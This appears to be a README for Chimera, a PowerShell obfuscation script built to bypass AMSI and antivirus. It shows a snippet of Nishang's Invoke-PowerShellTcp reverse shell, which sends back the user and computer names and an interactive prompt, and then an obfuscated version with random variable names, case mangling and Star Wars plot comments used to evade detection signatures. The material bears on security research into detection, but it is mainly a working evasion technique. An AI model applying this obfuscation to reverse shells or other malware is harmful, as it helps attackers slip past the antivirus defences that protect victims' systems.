Chimera is a (shiny and very hack-ish) PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.

Chimera was created for this write-up and is further evidence of how trivial it is to bypass detection signatures. Hopefully, this repository will inspire someone to build something robust and more reliable.

How Chimera works...

Below is a snippet of Nishang's Invoke-PowerShellTcp.ps1, found at nishang/Shells. VirusTotal reports 25 detections of the PS1 script.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"() # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden. [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0} # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat. # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station. # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim. # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight. $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n") # Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth) # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

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